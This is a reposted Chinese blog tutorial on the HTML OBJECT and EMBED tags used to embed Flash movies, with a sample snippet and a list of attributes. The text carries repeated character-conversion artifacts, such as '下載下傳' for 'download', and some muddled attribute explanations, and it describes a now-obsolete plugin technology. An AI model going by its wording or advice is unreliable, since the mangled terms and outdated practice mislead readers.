原文:http://hi.baidu.com/appal/blog/item/fcab76ecbfe378d02f2e21cf.html
Flash OBJECT和EMBED标簽
一、介紹:
我們要在網頁中正常顯示flash内容,那麼頁面中必須要有指定flash路徑的标簽。也就是OBJECT和EMBED标簽。OBJECT标簽是用于windows平台的IE浏覽器的,而EMBED是用于windows和Macintosh平台下的Netscape Navigator浏覽器以及Macintosh平台下的IE浏覽器。windows平台的IE利用Activex控件來播放flash而其它的浏覽器則使用Netscape插件技術來播放flash。
下面是簡單的網頁中插入flash的代碼示例:
Code:
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"
WIDTH="550" HEIGHT="400" id="myMovieName">
<PARAM NAME=movie VALUE="myFlashMovie.swf">
<PARAM NAME=quality VALUE=high>
<PARAM NAME=bgcolor VALUE=#FFFFFF>
<EMBED src="/support/flash/ts/documents/myFlashMovie.swf" quality=high bgcolor=#FFFFFF WIDTH="550" HEIGHT="400"
NAME="myMovieName" ALIGN="" TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</OBJECT>
二、為什麼要使用以上全部的标簽?能省略某些标簽不?
OBJECT标簽是用于windows IE3.0及以後浏覽器或者其它支援Activex控件的浏覽器。“classid”和“codebase”屬性必須要精确地按上例所示的寫法寫,它們告訴浏覽器自動下載下傳flash player的位址。如果你沒有安裝過flash player 那麼IE3.0以後的浏覽器會跳出一個提示框通路是否要自動安裝flash player。當然,如果你不想讓那些沒有安裝flash player的使用者自動下載下傳播放器,或許你可以省略掉這些代碼。
EMBED标簽是用于Netscape Navigator2.0及以後的浏覽器或其它支援Netscape插件的浏覽器。“pluginspage”屬性告訴浏覽器下載下傳flash player的位址,如果還沒有安裝flash player的話,使用者安裝完後需要重新開機浏覽器才能正常使用。
為了確定大多數浏覽器能正常顯示flash,你需要把EMBED标簽嵌套放在OBJECT标簽内,就如上面代碼例子一樣。支援Activex控件的浏覽器将會忽略OBJECT标簽内的EMBED标簽。Netscape和使用插件的IE浏覽器将隻讀取EMBED标簽而不會識别OBJECT标簽。也就是說,如果你省略了EMBED标簽,那firefox就不能識别你的flash了(不過納悶的是,省略了object隻寫embed,IE也能正常顯示flash,呵呵,具體的再仔細看看了)。
下面列出了用于釋出影片的OBJECT和EMBED标簽的必要以及可選屬性。
一、必需屬性:
·CLASSID-設定浏覽器的Activex控件,僅用于OBJECT标簽。
·CODEBASE-設定flash Activex控件的位置,因而如果浏覽器如果沒有安裝的話,可以自動下載下傳安裝。僅用于OBJECT标簽。
·WIDTH-以百分比或象素指定flash影片的寬度。
·HEIGHT-以百分比或象素指定flash影片的高度。
·SRC-指定影片的下載下傳位址。僅用于EMBED标簽。
·PLUGINSPAGE-設定flash 插件的位置,因而如果浏覽器如果沒有安裝的話,可以自動下載下傳安裝。僅用于EMBED标簽。
·MOVIE-指定影片的下載下傳位址。僅用于OBJECT标簽。
二、可選屬性及可用的值:
·ID-設定變量名,用于腳本代碼的引用。僅用于OBJECT。
·NAME -設定變量名,用于腳本代碼(如javascript)的引用。僅用于EMBED。
·SWLIVECONNECT - (true或false)指定當flash player第一次下載下傳時,是否啟用java。如果些屬性省略,預設值為false。你果你在相同頁同使用javascript和flash,java必須使用FSCommand來工作。
·PLAY -(true或false)指定flash影片是否在下載下傳完成後就自動播放,如果省略此屬性,則預設為true。
·LOOP - (true或false)指定影片播放完最後一幀後是停止還是繼續循環播放,如果省略此屬性,則預設為true。
·MENU - (true或false)
·True 顯示全部的菜單,允許使用者放大,縮小等控制影片播放等操作。
·False 顯示隻包含設定選項和關于flash的菜單。
·QUALITY - (low, high, autolow, autohigh, best )
·Low 速度優于美觀,而且不應用反鋸齒。
·Autolow 剛開始着重于速度,但當需要時随時提升美觀。
·Autohigh 同時着重播放速度和美觀,但需要時則犧牲美觀來保證播放速度。
·Medium 應用一些反鋸齒而不平滑位圖。它品質高于low設定而低于high設定。
·High 美觀優于播放速度,而且一直應用反鋸齒。如果影片不包含動畫,位圖會被平滑化;而如果影片包含動畫,位圖将不變平滑。
·Best 提供最好的顯示品質而不考慮播放速度。所有輸出都應用反鋸齒及所有位圖都被平滑化。
·SCALE - (showall, noborder, exactfit)
·Default(Show all)影片在指定的區域内顯示,但保持原始的比例。影片兩側将會出現邊框。
·No Boder 收縮影片以适合指定的區域,保持影片不失真,但部分影片将可能将裁切。然而保持影片的原始比例。
·Exact Fit 使整個影片在指定的區域内顯示,影片有可能變形失真,而且不保持原始的比例。
·ALIGN - (l, t, r, b)
·預設為居中,當浏覽器視窗小于影片時,邊緣會被裁切。
·Left,Right,Top,Bottom按照相應的設定沿浏覽器的邊緣對齊。如果需要,另外三邊将被裁切。
·SALIGN - (l, t, r, b, tl, tr, bl, br)
·L,R,T,B
·TL,TR
·BL,BR
·WMODE- (window, opaque, transparent) 設定flash影片的window mode屬性,指定flash在浏覽器中的透明,層疊及位置。
·Window 影片在浏覽器中自己的矩形視窗内播放。
·Opaque 影片隐藏了所有在它後面的内容。
·Transparent 使flash影片透明,顯示透明影片後面的網頁内容。這将會降低動畫的性能。而且這個屬性不是在所有浏覽器中都可用的。
·BGCOLOR - (#RRGGBB, 十六進制RGB值。)指定影片的背景顔色。使用這個屬性覆寫flash中設定的背景顔色。
·BASE - 設定基準目錄或URL,用來解決是以flash中的相對路徑。類似網頁中的<base>标簽。
·FLASHVARS 傳遞變量到flash player,需要flash player6及以後的版本。
·傳遞root級變量到影片。字元串的格式是用“&”分隔的name=value集。
·浏覽器支援64kB大小的字元串長度。
·更多關于FlashVars的資訊,請檢視相關文檔。
<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>